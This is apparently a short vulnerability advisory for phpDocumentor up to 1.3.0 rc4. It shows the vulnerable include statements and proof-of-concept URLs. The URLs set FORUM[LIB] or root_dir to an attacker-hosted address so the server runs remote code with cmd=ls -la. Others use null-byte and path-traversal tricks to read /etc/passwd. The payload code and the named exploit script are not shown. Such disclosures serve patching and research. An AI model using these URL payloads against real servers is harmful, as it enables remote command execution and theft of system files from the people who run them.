---- PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion --- software: site: http://www.phpdoc.org/ description: "phpDocumentor, sometimes referred to as phpdoc or phpdocu, is the current standard auto-documentation tool for the php language. Similar to Javadoc, and written in php, phpDocumentor can be used from the command line or a web interface to create professional documentation from php source code." -------------------------------------------------------------------- i) vulnerable code in Documentation/tests/bug-559668.php at line 4: ... require_once $FORUM['LIB'] . '/classes/db/PearDb.php'; ... poc: if register_globals on and allow_url_fopen on http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?cmd=ls%20-la&FORUM[LIB]=http://[attacker] where on http://[attacker]/classes/db/PearDb.php/index.html you have this code: also, if magic_quotes_gpc off: http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=http://[attacker]/script.txt%00 http://[target]/[path_to_phpdocumentor]/Documentation/tests/bug-559668.php?FORUM[LIB]=../../../../../../../etc/passwd%00 -------------------------------------------------------------------- ii) vulnerable code in docbuilder/file_dialog.php at lines 49-56: ... /** * common file information */ include_once("$root_dir/phpDocumentor/common.inc.php"); [!] include_once("$root_dir/HTML_TreeMenu-1.1.2/TreeMenu.php"); [!] include_once("$root_dir/docbuilder/includes/utilities.php" ); [!] $root_dir = dirname(dirname(__FILE__)); [!!!!!!!!] ... poc: http://[target]/[path_to_phpdocumentor]/docbuilder/file_dialog.php?cmd=ls%20-la&root_dir=http://[attacker] where on http://[attacker]/phpDocumentor/common.inc.php/index.html you have the same code -------------------------------------------------------------------- exploit:
**PhpDocumentor <= 1.3.0 rc4 remote commands execution**
a script by rgod at http://rgod.altervista.org